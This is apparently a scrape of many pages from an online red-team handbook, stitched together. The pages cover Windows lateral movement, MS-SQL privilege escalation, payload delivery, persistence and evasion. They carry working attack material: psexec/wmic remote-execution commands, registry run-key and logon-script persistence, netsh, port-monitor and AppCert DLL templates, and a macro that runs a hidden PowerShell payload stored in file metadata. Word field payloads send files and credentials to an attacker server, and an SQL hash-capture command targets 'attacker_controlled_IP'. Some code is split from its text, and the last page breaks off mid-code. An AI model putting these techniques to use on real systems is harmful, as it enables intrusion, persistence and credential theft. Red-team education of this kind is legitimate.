![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5Yh-tBMSL-24vjzif%252Fimage.png%3Falt%3Dmedia%26token%3D268f4eb0-b0f1-42c8-ae84-35b409238a45&width=768&dpr=3&quality=100&sign=43536f81&sv=2) As we can see, NtTestAlert makes a syscall to ZwTestAlert. ZwTestAlert empties the APC queue of the current thread, which will therefore trigger the APC call and kickoff our shellcode [PreviousAPC Queue Code Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection) [NextPersistence](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence) Last updated 3 years ago --- # DCOM | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom.md) . DCOM is an extension of COM that uses RPC to use COM over the network. Numerous of interfaces can be used for lateral movement. Powershell can be used to instantiate com objects remotely to execute code. (TODO) [PreviousService Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/service-control) [NextRDP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp) Last updated 5 years ago --- # SCShell | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell.md) . SCShell is a file less lateral movement tool that uses ChangeServiceConfigA to run commands authenticating which via DCERPC instead of SMB. It can be used without creating new services or dropping files on the remote system. It works by remotely opening the service and modifying the binary path name via the ChangeServiceConfigA API. It is recommended to dechain your commands so your payload will not be killed when the service is stopped. Example us age of SCShell is Copy PS > SCShell.exe XblAuthManager "C:\windows\system32\cmd.exe /c calc.exe" . [PreviousRDP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp) [NextCode Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection) Last updated 5 years ago --- # Poison Handler | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler.md) . This tool registers a protocol handler remotely, and invokes it by using "start handler://" to execute commands. Copy Execute-PoisonHandler -ComputerName -Payload "commands” [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - Mr-Un1k0d3r/PoisonHandler: lateral movement techniques that can be used during red team exercisesGitHub](https://github.com/Mr-Un1k0d3r/PoisonHandler) [PreviousChecking for access](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/checking-for-access) [NextWinRM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm) Last updated 5 years ago --- # PsExec | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec.md) . This is a tool from the Sysinternals suite and allows users to execute code in remote hosts over port 445 using named pipes. This extracts from its executable image, an embedded Windows service named Psexesvc, copying it to the Admin$ share of the remote system and using the Windows Service Control Manager API to start the service on the remote system. Ex. Copy psexec.exe -u DOMAIN\USER -p PASSWORD \\REMOTEIP ”COMMAND” Or with Impacket: Copy python psexec.py DOMAIN/USER:PASSWORD@REMOTEIP [CMD] ### [](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec#undefined) [PreviousAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at) [NextWMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi) Last updated 5 years ago --- # AT | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at.md) . At is like scheduled tasks, and cancan be used to schedule commands to run at a specific time. It has been disabled on windows > 8.1, but can be enabled with a registry key Copy Reg add “\\REMOTE\\HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Schedule\Configuration" /v EnableAt /t REG_DWORD /d 1” Note that after we set the registry key, we need to shut down the machine for changes to take place Copy Shutdown /r /m \\REMOTE Then, we can finally use AT to execute code remotely Copy net time \\REMOTE at \\REMOTE TIME COMMAND At \\REMOTE AT_ID /delete [PreviousWinRM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm) [NextPsExec](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec) Last updated 5 years ago --- # Netsh Dlls | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/netsh-dlls.md) . Netsh allows for persistence due to the fact that it allows you to add a helper Dll. This helper dll that will get loaded whenever the netsh binary is run. Our Netsh Dll code follows this template Copy #include #include DWORD WINAPI YahSure(LPVOID lpParameter) { // implement code } //Custom netsh helper format extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) { HANDLE hand; hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL); CloseHandle(hand); return NO_ERROR; } BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) { switch ( fdwReason ) { case DLL_PROCESS_ATTACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; } To add this registry key: [PreviousWinLogon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon) [NextRDP Backdoors](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors) Last updated 5 years ago Copy netsh.exe add helper c:\helper.dll --- # RDP | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/rdp.md) . > rdesktop is an open source client for Microsoft's RDP protocol. It is known to work with Windows versions ranging from NT 4 Terminal Server to Windows 2012 R2 RDS. rdesktop currently has implemented the RDP version 4 and 5 protocols. Usage of this: Copy rdesktop IP Note that many systems have Network level authentication enabled, which can cause rdesktop to fail. To remediate this, we can use xfreerdp for this: Copy xfreerdp /u:”DOMAIN\USER” /p:”Pass” /v:IP Todo: [https://www.blackhillsinfosec.com/the-rdp-through-ssh-encyclopedia/](https://www.blackhillsinfosec.com/the-rdp-through-ssh-encyclopedia/) [PreviousSSH Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/ssh-hijacking) [NextImpacket](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/impacket) Last updated 5 years ago --- # WMI | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi.md) . WMI can be used to access remote windows components using RPC calls on TCP port 135. Ex. Copy wmic /node:REMOTEIP /user:DOMAIN\USER /password:PASSWORD process call create“C:\Windows\System32\notepad.exe” [PreviousPsExec](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec) [NextService Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/service-control) Last updated 5 years ago --- # Privilege Escalation | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation.md) . Initial Foothold[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#initial-foothold) ------------------------------------------------------------------------------------------------------------------------------------ After you find the sql servers in the environment, you should now try to gain initial foothold into those SQL servers. We will try to escalate to a SQL login now. ### Default passwords[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#default-passwords) This command launches a default password test against the SQL server using PowerUpSQL: Copy >> Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw or >> Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw –> Start the attack from unauthenticated user perspective. Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw –> Start the attack from domain user perspective. If you already have a domain set of credentials, this may work on the SQL server. You can test this like so: Copy >> Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded –Username username –Password password (manually) or >> Get-SQLInstanceDomain | Get-SQLConnectionTest or >> Get-SQLInstanceLocal | Get-SQLConnectionTest ### MITM[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#mitm) If the SQL server communications are unencrypted, we may be able to inject our own queries and inject our own SQL login: [https://gist.github.com/anonymous/edb02df90942dc4df0e41f3cbb78660b](https://gist.github.com/anonymous/edb02df90942dc4df0e41f3cbb78660b) To Sysadmin[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#to-sysadmin) -------------------------------------------------------------------------------------------------------------------------- After you have gotten initial access to a SQL server. ### Blind SQL Login Enumeration[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#blind-sql-login-enumeration) We can begin to list all SQL server logins and try to test weak passwords on those accounts. We can do this with: Note that this only gives a certain subset of sql logins. To find more sql logins, we can utilize suser\_name which returns the principal name for a given principal id. We can find all sql logins by brute forcing the principal ID in the suser\_name function. We can then being to password spray or brute force these accounts. This can be automated with PowerUpSQL: ### Impersonation[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#impersonation) There is a feature in SQL server that allows a less privileged user to impersonate another with more access. For impersonation the queries/commands to be executed are not limited in any way, but for command execution, the database has to be configured as trustworthy. We cannot enumerate which logins we can impersonate due to our unprivileged nature, but we can check which logins allow impersonation with this: To manually check if you can impersonate a user(SA in our case), issue these commands: ### Database Links[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#database-links) These are a persistent connection between two SQL servers. They allow server A to communicate with server B and pull data from server B, and vice versa without a user being logged in. Database links can be configured to run as the current user who’s logged in, but some cases they can be configured to run in another users context, and can lead to privilege escalation if ran as another high privileged user like SA. To query information to a linked server, we can use OpenQuery. Also note that OpenQuery is available to everyone. To find linked servers, we can use and to perform queries on a SQL server From there, we can perform queries to see the execution context of the user. If it is privileged like SA. we may be able to get sensitive information or get code execution via xp\_cmdshell. Tools to automate this are: [https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql\_linkcrawler](https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawler) UNC Path Injection[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#unc-path-injection) ---------------------------------------------------------------------------------------------------------------------------------------- If a SQL server grabs a file from a UNC path, The remote file is grabbed under the context of the service account that is running SQL Server. If we can force the user to authenticate to our UNC path, we may be able to capture its NetNTLM hash to either crack or relay it. If the attack is successful, we will become a DBA or a local admin. We can use PowerUpSQL and Inveigh for this: Or we can setup responder: OS Command Execution[](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#os-command-execution) -------------------------------------------------------------------------------------------------------------------------------------------- PowerUpSQL When executing OS commands through SQL Server, those commands are executed in the context of the service account. [PreviousFinding Sql Servers](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers) [NextPost Exploitation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation) Last updated 5 years ago * [Initial Foothold](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#initial-foothold) * [Default passwords](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#default-passwords) * [MITM](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#mitm) * [To Sysadmin](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#to-sysadmin) * [Blind SQL Login Enumeration](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#blind-sql-login-enumeration) * [Impersonation](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#impersonation) * [Database Links](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#database-links) * [UNC Path Injection](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#unc-path-injection) * [OS Command Execution](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation#os-command-execution) Copy SELECT name FROM sys.syslogins SELECT name FROM sys.server_principals Copy SELECT SUSER_NAME(1) SELECT SUSER_NAME(2) ... SELECT SUSER_NAME(100) ... Copy >> Get-SQLFuzzServerLogin –Instance ComputerName\InstanceName Copy SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' Copy SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') Copy EXEC sp_linkedservers Copy select version from openquery("linkedserver", 'query') Copy Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp attacker_controlled_IP Copy sudo responder -I tap0 Copy >> $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami" >> $Targets | Invoke-SQLOSOle -Verbose -Command "Whoami" >> $Targets | Invoke-SQLOSR -Verbose -Command "Whoami" --- # Lateral Movement | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement.md) . [Linux](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux) [No Admin?](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin) [Checking for access](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/checking-for-access) [Poison Handler](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler) [WinRM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm) [AT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at) [PsExec](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec) [WMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi) [Service Control](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/service-control) [DCOM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom) [RDP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp) [SCShell](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell) [PreviousHTA](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta) [NextLinux](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux) Last updated 5 years ago --- # Payload Delivery | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery.md) . HTML Smuggling[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#html-smuggling) ---------------------------------------------------------------------------------------------------------------------------- This delivers a payload using a JS blob to trigger an automatic download. Copy https://outflank.nl/blog/2018/08/14/html-smuggling-explained/ Copy Tools that help us achieve this type of execution are: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - Arno0x/EmbedInHTML: Embed and hide any file in an HTML fileGitHub](https://github.com/Arno0x/EmbedInHTML) Microsoft Office Links[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#microsoft-office-links) -------------------------------------------------------------------------------------------------------------------------------------------- We can make Microsoft Office automatically handle the opening of the document: Google Open Redirect "Feature"[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#google-open-redirect-feature) ---------------------------------------------------------------------------------------------------------------------------------------------------------- This can masquerade our domain to be a Google domain. Google has an open redirect feature, Google search results don't lead directly to the listed websites, instead, you will get bounced though another google url which then redirects you to your destination. We can abuse the bouncing Google url to point to our domain. As you can see, we have a bunch of other parameters. The USG parameter is some kind of unique identifier for the website. To find the unique identifier parameter, we can simply just search the domain up on google and copy the link that comes up. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgMbjXK0VPgU4amJsC6%252F-MgMeukfknkIhigd9uep%252Fimage.png%3Falt%3Dmedia%26token%3D5ce9c2a8-8787-45a7-89bf-00b122ab4afc&width=768&dpr=3&quality=100&sign=8a6548fb&sv=2) Case Studies[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#case-studies) ------------------------------------------------------------------------------------------------------------------------ [sean cassidy : LostPasswww.seancassidy.me](https://www.seancassidy.me/lostpass.html) Keying[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#keying) ------------------------------------------------------------------------------------------------------------ Keying encrypts your payloads using local or remote resources, and vice versa with decryption. This protects us from automatic analysis like sandboxes. It can be things like * DNS response * Username * Domain name * HTML code on a site * etc. Tools that can help this are: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - Genetic-Malware/Ebowla: Framework for Making Environmental Keyed Payloads (NO LONGER SUPPORTED)GitHub](https://github.com/Genetic-Malware/Ebowla) [PreviousDDE](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde) [NextFile Formats](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats) Last updated 5 years ago * [HTML Smuggling](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#html-smuggling) * [Microsoft Office Links](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#microsoft-office-links) * [Google Open Redirect "Feature"](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#google-open-redirect-feature) * [Case Studies](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#case-studies) * [Keying](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery#keying) Copy $PROFILE --- # Logon Scripts | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts.md) . Logon scripts will run every time the user logs on. These are intended to ease admins by automatically executing commands during session initiation, but as attackers, we can abuse this to establish persistence. To perform this persistence technique, issue the following command Copy reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "c:\script.bat" /t REG_SZ /f Our bat file can simply contain the directory of our payload to execute. Copy @ECHO OFF C:\ [PreviousRegistry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys) [NextPowershell Profiles](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/powershell-profiles) Last updated 5 years ago --- # Field Abuse | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse.md) . Fields are a feature in MS Word to create dynamic components which automate tasks like updating dates or page numbering. To insert a field, go to: insert > quickparts > fields. You will then have a whole list of field options to choose from. Credential Popup[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse#credential-popup) ------------------------------------------------------------------------------------------------------------------------------------- This uses the INCLUDEPICTURE field that points to a webserver that replies back with a basic HTTP basic authentication request. The URL of the INCLUDPICTURE is made dynamic with the USERNAME field. Note that word does not continue loading until the picture is loaded. Copy { INCLUDEPICTURE \d "http:///{ USERNAME \* MERGEFORMAT}"\* MERGEFORMATINET } _Note: your server needs to reply back with basic HTTP authentication to capture credentials_ Arbitrary File Read[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse#arbitrary-file-read) ------------------------------------------------------------------------------------------------------------------------------------------- The INCLUDETEXT field will read a file and include its contents in the document. As you can see, this is self explanatory on how we will read the file. To send the file contents back to a server, the INCLUDEPICTURE field will be used. NOTE: (CVE-2002-1143) abused the INCLUDETEXT and INCLUDEPICTURE to arbitrarily read a file, but Microsoft fixed this by no longer automatically updating the INCLUDETEXT fields on various events. Copy { INCLUDEPICTURE { QUOTE "http://server" & { FILENAME \p } & { INCLUDETEXT "c:\read\file.txt" } } \d } To bypass this mitigation, we will use the MACROBUTTON field with the option "updatefields" which will update file, and trigger the arbitrary file read. Copy { MACROBUTTON UpdateFields { INCLUDEPICTURE \d "http://picture.com/picture.png" \* MERGEFORMATIINET}{ INCLUDEPICTURE "http:///?{ INCLUDETEXT "c:\\windows\\panther\\unattend.xml" \c XML \* MERGEFORMAT}}" \d \* MERGEFORMAT }} This will make a picture-button hybird in which if the user double clicks on this and accepts a prompt, the MACROBUTTON field will update all the fields and cause the said file to be posted to our web server. Resources[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse#resources) ----------------------------------------------------------------------------------------------------------------------- [PreviousDechaining Macros](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros) [NextDDE](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde) Last updated 5 years ago * [Credential Popup](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse#credential-popup) * [Arbitrary File Read](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse#arbitrary-file-read) * [Resources](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse#resources) --- # File metadata | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata.md) . I haven't researched how to do this in c++, but you can use file properties in a macro to hide your payload. This one gets the payload in the author property. Copy Private Sub Workbook_Open() Dim author As String author = ActiveWorkbook.BuiltinDocumentProperties("Author") Dim ws As Object Set ws = CreateObject("WScript.Shell") With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -") .StdIn.WriteLine author .StdIn.WriteBlankLines 1 .Terminate End With End Sub Make sure to manually place your payload in the Author property. [PreviousEvent Logs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs) [NextRegistry Keys](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys) Last updated 5 years ago --- # Switching Parents | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents.md) . [Dechaining via WMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi) [PreviousPPID Spoofing via CreateProcess](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess) [NextDechaining via WMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi) Last updated 5 years ago --- # Registry Keys | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys.md) . Adding your executable to one one of these "run keys" will cause the executable to run when a user logs in. An example of these run keys are: Copy HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run To abuse this for persistence, we can simply issue the following command Copy reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v NameOfKey /t REG_SZ /d c:\program /f Note that this only works in the context of the current user, to make this apply to all users on the machine, you will have to use the HKLM hive. Doing this requires admin privileges More examples of run keys are: * `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` * `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce` * `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` * `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce` [PreviousJunction folders](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders) [NextLogon Scripts](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts) Last updated 5 years ago --- # Port Monitor | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor.md) . Windows provides printing functionality to the user and allows the user to add port monitors for more extendibility. Port monitor is a DLL which connects the spooling service and a printer, and allows to send raw device commands to the printer. We can abuse this for persistence by adding our own arbitrary dll that acts as a "monitor" . This will be executed as SYSTEM, and will be spawned under spoolsv.exe. We can do this in 2 ways, via registry or via the AddMonitor function. To do this via registry: Copy copy c:\mal.dll c:\windows\system32\ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\PortMonitor" /v Driver /t REG_SZ /d "mal.dll" /f To do this with the AddMonitor function, here is a code snippet from ired.team that does achieves this: Copy #include "Windows.h" int main() { MONITOR_INFO_2 monitorInfo; TCHAR env[12] = TEXT("Windows x64"); TCHAR name[12] = TEXT("Monitor"); TCHAR dll[12] = TEXT("test.dll"); monitorInfo.pName = name; monitorInfo.pEnvironment = env; monitorInfo.pDLLName = dll; AddMonitor(NULL, 2, (LPBYTE)&monitorInfo); return 0; } Test.dll is the dll that would be persisted, note that you have to copy this over to the system32 folder before you run the above code. Resources[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor#resources) ----------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Favatar.png%3Fgeneration%3D1536436814766237%26alt%3Dmedia&width=48&height=48&sign=29a0b597&sv=2)AddMonitor() | Red Team Noteswww.ired.team](https://www.ired.team/offensive-security/persistence/t1013-addmonitor) [PreviousAppInit Dlls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appinit-dlls) [NextWMI Event Subscriptions](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions) Last updated 5 years ago --- # AppCert DLLs | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appcert-dlls.md) . AppCert DLLs are loaded during the first call of any of these WinApis: `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLoginW`, `CreateProcessWithTokenW`, or `WinExec` To set this up: Copy reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls" /V "AppCert" /T REG_EXPAND_SZ /D "c:\executable.dll" /F Our appcert dll code looks like this Copy #include #include #include #define APPCERT_IMAGE_OK_TO_RUN 0x00000001L #define APPCERT_CREATION_ALLOWED 0x00000002L #define APPCERT_CREATION_DENIED 0x00000003L extern "C" { __declspec(dllexport) NTSTATUS NTAPI CreateProcessNotify( LPCWSTR lpApplicationName, ULONG uNotifyReason ) } NTSTATUS NTAPI 